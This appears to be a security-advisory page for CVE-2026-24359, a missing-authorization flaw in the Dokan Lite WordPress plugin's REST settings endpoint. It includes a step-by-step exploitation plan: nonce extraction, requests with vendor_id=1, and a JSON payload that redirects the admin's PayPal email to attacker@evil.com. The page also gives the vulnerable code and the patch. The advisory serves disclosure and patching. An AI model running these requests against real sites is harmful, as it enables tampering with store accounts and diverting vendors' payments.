CVE-2026-24359

Dokan: AI Powered WooCommerce Multivendor Marketplace Solution – Build Your Own Amazon, eBay, Etsy <= 4.2.4 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
4.2.5
Patched in
12d
Time to patch

Description

The Dokan: AI Powered WooCommerce Multivendor Marketplace Solution – Build Your Own Amazon, eBay, Etsy plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 4.2.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.2.4
PublishedMarch 16, 2026
Last updatedMarch 27, 2026
Affected plugindokan-lite

What Changed in the Fix

Changes introduced in v4.2.5

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Detailed Exploitation Research Plan: CVE-2026-24359 ## 1. Vulnerability Summary The **Dokan Lite** plugin (up to version 4.2.4) contains a missing authorization vulnerability (IDOR) within its REST API `settings` endpoint. The `WeDevs\Dokan\REST\StoreSettingController` class defines routes for re…

Show full research plan

Detailed Exploitation Research Plan: CVE-2026-24359

1. Vulnerability Summary

The Dokan Lite plugin (up to version 4.2.4) contains a missing authorization vulnerability (IDOR) within its REST API settings endpoint. The WeDevs\Dokan\REST\StoreSettingController class defines routes for retrieving and updating store settings. While it implements a permission_callback, the callback only verifies that the current requester is a logged-in user and that a "vendor" (user) exists for the provided ID. It fails to verify if the requester has permission to modify the specific vendor's settings.

This allow any authenticated user (e.g., a Subscriber) to view or modify the store settings (including PayPal/Bank payment details, store name, and address) of any other vendor or administrator on the site by specifying a vendor_id parameter.

2. Attack Vector Analysis

  • Endpoint: /wp-json/dokan/v1/settings
  • Method: GET (for information disclosure) and POST/PUT/PATCH (for unauthorized modification).
  • Vulnerable Parameter: vendor_id (Query parameter).
  • Authentication: Required (Subscriber level or higher).
  • Required Header: X-WP-Nonce (standard WordPress REST API nonce).

3. Code Flow

  1. Registration: In includes/REST/StoreSettingController.php, the register_routes() method registers the /settings endpoint. Both READABLE and EDITABLE methods use get_settings_permission_callback as the permission_callback.
  2. Permission Check: The get_settings_permission_callback() (line 144) calls $this->get_vendor().
  3. Vendor Retrieval (Flawed): The get_vendor($request = null) method (line 164) prioritizes a vendor_id parameter from the request. If vendor_id is provided, it fetches that user. If not, it uses the current user ID.
  4. Authorization Failure:
    • During the permission_callback, the request object is typically passed but not explicitly used in the signature. The call $this->get_vendor() (no args) inside the callback defaults to the current user. Since the current user is logged in, they are considered a valid "vendor" by Dokan, and the check returns true.
    • During the actual action (e.g., update_settings), the controller calls $this->get_vendor( $request ) (line 111). This time, it processes the vendor_id query parameter, shifting the context to the target user.
  5. Execution: update_settings calls dokan()->vendor->update( $target_vendor_id, $params ), modifying the target user's metadata without verifying the relationship between the requester and the target.

4. Nonce Acquisition Strategy

The endpoint is a standard WordPress REST API route. To interact with it while authenticated via cookies, a wp_rest nonce is required.

  1. Identify Enqueue: Dokan's core scripts (like core-store.js) use wp-api-fetch. These scripts are typically enqueued on the WordPress Dashboard or Dokan Vendor Dashboard.
  2. Creation: No special shortcode is required as standard WordPress functionality enqueues the REST nonce for logged-in users in the admin area.
  3. Extraction:
    • Login as a Subscriber.
    • Navigate to /wp-admin/.
    • Use browser_eval to extract the nonce from the global wpApiSettings object.
    • JS Command: window.wpApiSettings?.nonce

5. Exploitation Strategy

Step 1: Information Disclosure (Optional but useful)

Retrieve sensitive settings (e.g., payment email) of the Administrator (usually ID 1).

  • Request Tool: http_request
  • Method: GET
  • URL: http://localhost:8080/wp-json/dokan/v1/settings?vendor_id=1
  • Headers:
    • X-WP-Nonce: [EXTRACTED_NONCE]
  • Expected Response: JSON object containing the administrator's store settings, social links, and payment method info.

Step 2: Unauthorized Modification

Change the store name or payment email of the Administrator.

  • Request Tool: http_request
  • Method: POST
  • URL: http://localhost:8080/wp-json/dokan/v1/settings?vendor_id=1
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [EXTRACTED_NONCE]
  • Body:
    {
        "store_name": "Hacked by Subscriber",
        "social": {
            "fb": "https://facebook.com/attacker"
        },
        "payment": {
            "paypal": {
                "email": "attacker@evil.com"
            }
        }
    }
    

6. Test Data Setup

  1. Target: Ensure an Administrator user exists (User ID 1).
  2. Attacker: Create a user with the subscriber role.
  3. Dokan Setup: Ensure Dokan Lite is active. The plugin automatically treats users as "vendors" for the purpose of the settings endpoint.

7. Expected Results

  • The GET request should return a 200 OK with a JSON payload containing details that a Subscriber should not see for another user.
  • The POST request should return a 200 OK and a response body mirroring the updated data.
  • The database state for the target user (ID 1) should reflect the injected values.

8. Verification Steps

After performing the POST request, verify the change using WP-CLI:

# Check the target user's dokan_profile_settings meta
wp user meta get 1 dokan_profile_settings

Expected output: The store_name should be "Hacked by Subscriber" and the PayPal email should be updated.

9. Alternative Approaches

If vendor_id is not accepted as a query parameter in some environments, try including it in the JSON body:

{
    "vendor_id": 1,
    "store_name": "Hacked via Body Param"
}

If the wpApiSettings object is missing, the nonce can be found by searching the HTML source for "nonce":"..." within the script tags or by checking the X-WP-Nonce header in any network request made by the WordPress dashboard.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Dokan Lite plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) via the REST API /settings endpoint. Authenticated attackers, including those with Subscriber-level access, can view or modify the store settings (such as PayPal email addresses and store names) of any other vendor or administrator by providing a target user ID in the 'vendor_id' parameter.

Vulnerable Code

// includes/REST/StoreSettingController.php lines 35-71
public function register_routes() {
    register_rest_route(
        $this->namespace,
        '/' . $this->rest_base,
        [
            [
                'methods'             => WP_REST_Server::READABLE,
                'callback'            => [ $this, 'get_settings' ],
                'permission_callback' => [ $this, 'get_settings_permission_callback' ],
                'args'                => [
                    'vendor_id' => [
                        'required'          => false,
                        'type'              => 'integer',
                        'validate_callback' => function ( $param ) {
                            return is_numeric( $param ) && (int) $param > 0;
                        },
                        'description'       => __( 'Optional vendor ID', 'dokan-lite' ),
                    ],
                ],
            ],
            [
                'methods'             => WP_REST_Server::EDITABLE,
                'callback'            => [ $this, 'update_settings' ],
                'permission_callback' => [ $this, 'get_settings_permission_callback' ],
                'args'                => [
                    'vendor_id' => [
                        'required'          => false,
                        'type'              => 'integer',
                        'validate_callback' => function ( $param ) {
                            return is_numeric( $param ) && (int) $param > 0;
                        },
                        'description'       => __( 'Optional vendor ID', 'dokan-lite' ),
                    ],
                ],
            ],
        ]
    );
}

---

// includes/REST/StoreSettingController.php lines 124-138
public function get_settings_permission_callback() {
    $vendor = $this->get_vendor();

    if ( is_wp_error( $vendor ) ) {
        return $vendor;
    }

    if ( empty( $vendor->get_id() ) ) {
        return new WP_Error( 'no_store_found', __( 'No vendor found', 'dokan-lite' ), [ 'status' => 404 ] );
    }

    return true;
}

---

// includes/REST/StoreSettingController.php lines 147-166
protected function get_vendor( $request = null ) {
    $vendor_id = is_a( $request, \WP_REST_Request::class ) && $request->get_param( 'vendor_id' ) ? $request->get_param( 'vendor_id' ) : '';
    if ( $vendor_id ) {
        $vendor = dokan()->vendor->get( (int) $vendor_id );
    } else {
        $current_user = dokan_get_current_user_id();

        if ( ! $current_user ) {
            return new WP_Error( 'Unauthorized', __( 'You are not logged in', 'dokan-lite' ), [ 'code' => 401 ] );
        }

        if ( $current_user ) {
            $vendor = dokan()->vendor->get( $current_user );
        }
    }

    return $vendor;
}

Security Fix

--- a/includes/REST/StoreSettingController.php
+++ b/includes/REST/StoreSettingController.php
@@ -124,8 +124,8 @@
      *
      * @return bool|WP_Error
      */
-    public function get_settings_permission_callback() {
-        $vendor = $this->get_vendor();
+    public function get_settings_permission_callback( $request ) {
+        $vendor = $this->get_vendor( $request );
 
         if ( is_wp_error( $vendor ) ) {
             return $vendor;
@@ -135,6 +135,10 @@
             return new WP_Error( 'no_store_found', __( 'No vendor found', 'dokan-lite' ), [ 'status' => 404 ] );
         }
 
+        if ( ! current_user_can( 'manage_options' ) && dokan_get_current_user_id() !== $vendor->get_id() ) {
+            return new WP_Error( 'dokan_rest_cannot_view', __( 'Sorry, you are not allowed to view or edit these settings.', 'dokan-lite' ), [ 'status' => rest_authorization_required_code() ] );
+        }
+
         return true;
     }

Exploit Outline

1. Authenticate to the WordPress site as a low-privileged user (e.g., Subscriber). 2. Obtain a valid REST API nonce (X-WP-Nonce) from the dashboard's HTML source or global JS objects (window.wpApiSettings.nonce). 3. To disclose sensitive store data of another user (e.g., the Administrator with ID 1), send a GET request to `/wp-json/dokan/v1/settings?vendor_id=1` with the nonce header. 4. To modify the target's settings, send a POST/PUT request to `/wp-json/dokan/v1/settings?vendor_id=1` with a JSON payload containing fields to change, such as 'payment' -> 'paypal' -> 'email' to redirect vendor earnings to the attacker's account.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.